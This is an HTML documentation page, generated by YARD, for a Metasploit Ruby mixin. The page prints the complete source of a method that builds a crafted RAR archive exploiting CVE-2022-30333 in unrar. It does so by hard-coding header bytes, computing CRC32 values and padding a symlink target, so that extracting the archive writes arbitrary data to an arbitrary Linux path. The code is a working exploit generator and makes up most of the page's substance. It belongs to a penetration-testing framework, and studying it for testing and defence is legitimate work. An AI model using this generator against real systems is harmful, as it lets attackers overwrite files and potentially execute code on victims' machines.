jenkins-metasploit
298 lines
17 KiB
HTML
298 lines
17 KiB
HTML
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<meta charset="utf-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>
|
|
Module: Msf::Exploit::Format::RarSymlinkPathTraversal
|
|
|
|
— Documentation by YARD 0.9.37
|
|
|
|
</title>
|
|
|
|
<link rel="stylesheet" href="../../../css/style.css" type="text/css" />
|
|
|
|
<link rel="stylesheet" href="../../../css/common.css" type="text/css" />
|
|
|
|
<script type="text/javascript">
|
|
pathId = "Msf::Exploit::Format::RarSymlinkPathTraversal";
|
|
relpath = '../../../';
|
|
</script>
|
|
|
|
|
|
<script type="text/javascript" charset="utf-8" src="../../../js/jquery.js"></script>
|
|
|
|
<script type="text/javascript" charset="utf-8" src="../../../js/app.js"></script>
|
|
|
|
|
|
</head>
|
|
<body>
|
|
<div class="nav_wrap">
|
|
<iframe id="nav" src="../../../class_list.html?1"></iframe>
|
|
<div id="resizer"></div>
|
|
</div>
|
|
|
|
<div id="main" tabindex="-1">
|
|
<div id="header">
|
|
<div id="menu">
|
|
|
|
<a href="../../../_index.html">Index (R)</a> »
|
|
<span class='title'><span class='object_link'><a href="../../../Msf.html" title="Msf (module)">Msf</a></span></span> » <span class='title'><span class='object_link'><a href="../../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span> » <span class='title'><span class='object_link'><a href="../Format.html" title="Msf::Exploit::Format (module)">Format</a></span></span>
|
|
»
|
|
<span class="title">RarSymlinkPathTraversal</span>
|
|
|
|
</div>
|
|
|
|
<div id="search">
|
|
|
|
<a class="full_list_link" id="class_list_link"
|
|
href="../../../class_list.html">
|
|
|
|
<svg width="24" height="24">
|
|
<rect x="0" y="4" width="24" height="4" rx="1" ry="1"></rect>
|
|
<rect x="0" y="12" width="24" height="4" rx="1" ry="1"></rect>
|
|
<rect x="0" y="20" width="24" height="4" rx="1" ry="1"></rect>
|
|
</svg>
|
|
</a>
|
|
|
|
</div>
|
|
<div class="clear"></div>
|
|
</div>
|
|
|
|
<div id="content"><h1>Module: Msf::Exploit::Format::RarSymlinkPathTraversal
|
|
|
|
|
|
|
|
</h1>
|
|
<div class="box_info">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<dl>
|
|
<dt>Defined in:</dt>
|
|
<dd>lib/msf/core/exploit/format/rar_symlink_path_traversal.rb</dd>
|
|
</dl>
|
|
|
|
</div>
|
|
|
|
<h2>Overview</h2><div class="docstring">
|
|
<div class="discussion">
|
|
|
|
<p>The RarSymlinkPathTraversal mixin provides methods for generating a RAR file that exploits CVE-2022-30333, which can write an arbitrary file to an arbitrary location on a Linux filesystem</p>
|
|
|
|
|
|
</div>
|
|
</div>
|
|
<div class="tags">
|
|
|
|
|
|
</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<h2>
|
|
Instance Method Summary
|
|
<small><a href="#" class="summary_toggle">collapse</a></small>
|
|
</h2>
|
|
|
|
<ul class="summary">
|
|
|
|
<li class="public ">
|
|
<span class="summary_signature">
|
|
|
|
<a href="#encode_as_traversal_rar-instance_method" title="#encode_as_traversal_rar (instance method)">#<strong>encode_as_traversal_rar</strong>(symlink_name, target_path, data) ⇒ Object </a>
|
|
|
|
|
|
|
|
</span>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<span class="summary_desc"><div class='inline'>
|
|
<p>Encode arbitrary data to be extracted to an arbitrary path on versions of unrar that are affected by CVE-2022-30333.</p>
|
|
</div></span>
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
|
|
|
|
|
|
<div id="instance_method_details" class="method_details_list">
|
|
<h2>Instance Method Details</h2>
|
|
|
|
|
|
<div class="method_details first">
|
|
<h3 class="signature first" id="encode_as_traversal_rar-instance_method">
|
|
|
|
#<strong>encode_as_traversal_rar</strong>(symlink_name, target_path, data) ⇒ <tt>Object</tt>
|
|
|
|
|
|
|
|
|
|
|
|
</h3><div class="docstring">
|
|
<div class="discussion">
|
|
|
|
<p>Encode arbitrary data to be extracted to an arbitrary path on versions of unrar that are affected by CVE-2022-30333</p>
|
|
|
|
|
|
</div>
|
|
</div>
|
|
<div class="tags">
|
|
|
|
|
|
</div><table class="source_code">
|
|
<tr>
|
|
<td>
|
|
<pre class="lines">
|
|
|
|
|
|
12
|
|
13
|
|
14
|
|
15
|
|
16
|
|
17
|
|
18
|
|
19
|
|
20
|
|
21
|
|
22
|
|
23
|
|
24
|
|
25
|
|
26
|
|
27
|
|
28
|
|
29
|
|
30
|
|
31
|
|
32
|
|
33
|
|
34
|
|
35
|
|
36
|
|
37
|
|
38
|
|
39
|
|
40
|
|
41
|
|
42
|
|
43
|
|
44
|
|
45
|
|
46
|
|
47
|
|
48
|
|
49
|
|
50
|
|
51
|
|
52
|
|
53
|
|
54
|
|
55
|
|
56
|
|
57
|
|
58
|
|
59
|
|
60
|
|
61
|
|
62
|
|
63
|
|
64</pre>
|
|
</td>
|
|
<td>
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/format/rar_symlink_path_traversal.rb', line 12</span>
|
|
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_encode_as_traversal_rar'>encode_as_traversal_rar</span><span class='lparen'>(</span><span class='id identifier rubyid_symlink_name'>symlink_name</span><span class='comma'>,</span> <span class='id identifier rubyid_target_path'>target_path</span><span class='comma'>,</span> <span class='id identifier rubyid_data'>data</span><span class='rparen'>)</span>
|
|
<span class='comment'># Exactly 104 characters isn't allowed because we need to null-terminate
|
|
</span> <span class='kw'>unless</span> <span class='id identifier rubyid_target_path'>target_path</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'><</span> <span class='int'>104</span>
|
|
<span class='id identifier rubyid_raise'>raise</span> <span class='const'>ArgumentError</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>The RAR filename target is too long (max length: 103 characters)</span><span class='tstring_end'>'</span></span>
|
|
<span class='kw'>end</span>
|
|
|
|
<span class='comment'># Data and symlink_name don't need to be null-terminated, just padded
|
|
</span> <span class='kw'>unless</span> <span class='id identifier rubyid_data'>data</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'><=</span> <span class='int'>4096</span>
|
|
<span class='id identifier rubyid_raise'>raise</span> <span class='const'>ArgumentError</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>The RAR file data is too long (max length: 4096 bytes, it was </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_data'>data</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span><span class='embexpr_end'>}</span><span class='tstring_content'>)</span><span class='tstring_end'>"</span></span>
|
|
<span class='kw'>end</span>
|
|
|
|
<span class='kw'>unless</span> <span class='id identifier rubyid_symlink_name'>symlink_name</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'><=</span> <span class='int'>12</span>
|
|
<span class='id identifier rubyid_raise'>raise</span> <span class='const'>ArgumentError</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>The symlink is too long (max length: 12 characters)</span><span class='tstring_end'>'</span></span>
|
|
<span class='kw'>end</span>
|
|
|
|
<span class='comment'># Null terminate the path, pad with NUL bytes, and invert the slashes
|
|
</span> <span class='id identifier rubyid_symlink_target'>symlink_target</span> <span class='op'>=</span> <span class='lparen'>(</span><span class='id identifier rubyid_target_path'>target_path</span> <span class='op'>+</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\0</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_gsub'>gsub</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>/</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>\\</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
|
|
<span class='id identifier rubyid_symlink_target'>symlink_target</span><span class='period'>.</span><span class='id identifier rubyid_concat'>concat</span><span class='lparen'>(</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>255</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_chr'>chr</span><span class='rparen'>)</span> <span class='kw'>while</span> <span class='id identifier rubyid_symlink_target'>symlink_target</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'><</span> <span class='int'>104</span>
|
|
|
|
<span class='id identifier rubyid_symlink_name'>symlink_name</span> <span class='op'>=</span> <span class='id identifier rubyid_symlink_name'>symlink_name</span><span class='period'>.</span><span class='id identifier rubyid_ljust'>ljust</span><span class='lparen'>(</span><span class='int'>12</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\0</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
|
|
<span class='comment'># Pad the data to the full length
|
|
</span> <span class='id identifier rubyid_data'>data</span><span class='period'>.</span><span class='id identifier rubyid_concat'>concat</span><span class='lparen'>(</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>255</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_chr'>chr</span><span class='rparen'>)</span> <span class='kw'>while</span> <span class='id identifier rubyid_data'>data</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'><</span> <span class='int'>4096</span>
|
|
|
|
<span class='comment'># Build a RAR file from pieces, filling in the blanks with our payloads.
|
|
</span> <span class='comment'># The RAR format is non-free (and complex), so this is the easiest way to
|
|
</span> <span class='comment'># build a payload file
|
|
</span> <span class='id identifier rubyid_rar'>rar</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x52\x61\x72\x21\x1a\x07\x01\x00\xf3\xe1\x82\xeb\x0b\x01\x05\x07\x00\x06\x01\x01\x80\x80\x80\x00</span><span class='tstring_end'>"</span></span>
|
|
|
|
<span class='comment'># Create the first section (with the symlink), and attach with its CRC32
|
|
</span> <span class='id identifier rubyid_rar_section1'>rar_section1</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
|
|
<span class='id identifier rubyid_rar_section1'>rar_section1</span><span class='period'>.</span><span class='id identifier rubyid_concat'>concat</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x94\x01\x02\x03\x78\x00\x04\x00\xa0\x08\x00\x00\x00\x00\x80\x00\x00\x0c</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='id identifier rubyid_rar_section1'>rar_section1</span><span class='period'>.</span><span class='id identifier rubyid_concat'>concat</span><span class='lparen'>(</span><span class='id identifier rubyid_symlink_name'>symlink_name</span><span class='rparen'>)</span> <span class='comment'># Symlink filename
|
|
</span> <span class='id identifier rubyid_rar_section1'>rar_section1</span><span class='period'>.</span><span class='id identifier rubyid_concat'>concat</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x0a\x03\x02\xae\xf0\x37\x1c\x91\x98\xd8\x01\x6c\x05\x02\x00\x68</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='id identifier rubyid_rar_section1'>rar_section1</span><span class='period'>.</span><span class='id identifier rubyid_concat'>concat</span><span class='lparen'>(</span><span class='id identifier rubyid_symlink_target'>symlink_target</span><span class='rparen'>)</span>
|
|
<span class='id identifier rubyid_rar'>rar</span><span class='period'>.</span><span class='id identifier rubyid_concat'>concat</span><span class='lparen'>(</span><span class='lbracket'>[</span><span class='const'>Zlib</span><span class='period'>.</span><span class='id identifier rubyid_crc32'>crc32</span><span class='lparen'>(</span><span class='id identifier rubyid_rar_section1'>rar_section1</span><span class='rparen'>)</span><span class='comma'>,</span> <span class='id identifier rubyid_rar_section1'>rar_section1</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Va*</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
|
|
|
<span class='comment'># Create the second section (with the data), and attach with its CRC32
|
|
</span> <span class='id identifier rubyid_rar_section2'>rar_section2</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
|
|
<span class='id identifier rubyid_rar_section2'>rar_section2</span><span class='period'>.</span><span class='id identifier rubyid_concat'>concat</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x28\x02\x03\x0b\x80\x20\x04\x80\x20\x20</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='id identifier rubyid_rar_section2'>rar_section2</span><span class='period'>.</span><span class='id identifier rubyid_concat'>concat</span><span class='lparen'>(</span><span class='lbracket'>[</span><span class='const'>Zlib</span><span class='period'>.</span><span class='id identifier rubyid_crc32'>crc32</span><span class='lparen'>(</span><span class='id identifier rubyid_data'>data</span><span class='rparen'>)</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>V</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
|
<span class='id identifier rubyid_rar_section2'>rar_section2</span><span class='period'>.</span><span class='id identifier rubyid_concat'>concat</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x80\x00\x00\x0c</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='id identifier rubyid_rar_section2'>rar_section2</span><span class='period'>.</span><span class='id identifier rubyid_concat'>concat</span><span class='lparen'>(</span><span class='id identifier rubyid_symlink_name'>symlink_name</span><span class='rparen'>)</span> <span class='comment'># Data filename (same as symlink to overwrite it)
|
|
</span> <span class='id identifier rubyid_rar_section2'>rar_section2</span><span class='period'>.</span><span class='id identifier rubyid_concat'>concat</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x0a\x03\x02\x00\x36\xe3\x00\x91\x98\xd8\x01</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='id identifier rubyid_rar'>rar</span><span class='period'>.</span><span class='id identifier rubyid_concat'>concat</span><span class='lparen'>(</span><span class='lbracket'>[</span><span class='const'>Zlib</span><span class='period'>.</span><span class='id identifier rubyid_crc32'>crc32</span><span class='lparen'>(</span><span class='id identifier rubyid_rar_section2'>rar_section2</span><span class='rparen'>)</span><span class='comma'>,</span> <span class='id identifier rubyid_rar_section2'>rar_section2</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Va*</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
|
|
|
<span class='id identifier rubyid_rar'>rar</span><span class='period'>.</span><span class='id identifier rubyid_concat'>concat</span><span class='lparen'>(</span><span class='id identifier rubyid_data'>data</span><span class='rparen'>)</span>
|
|
|
|
<span class='comment'># This tail doesn't seem necessary, but I don't want to mess with it
|
|
</span> <span class='id identifier rubyid_rar'>rar</span><span class='period'>.</span><span class='id identifier rubyid_concat'>concat</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x1d\x77\x56\x51\x03\x05\x04\x00</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
|
|
<span class='id identifier rubyid_rar'>rar</span>
|
|
<span class='kw'>end</span></pre>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
</div>
|
|
|
|
</div>
|
|
|
|
</div>
|
|
|
|
<div id="footer">
|
|
Generated on Fri May 8 17:02:39 2026 by
|
|
<a href="https://yardoc.org" title="Yay! A Ruby Documentation Tool" target="_parent">yard</a>
|
|
0.9.37 (ruby-3.1.5).
|
|
</div>
|
|
|
|
</div>
|
|
</body>
|
|
</html> |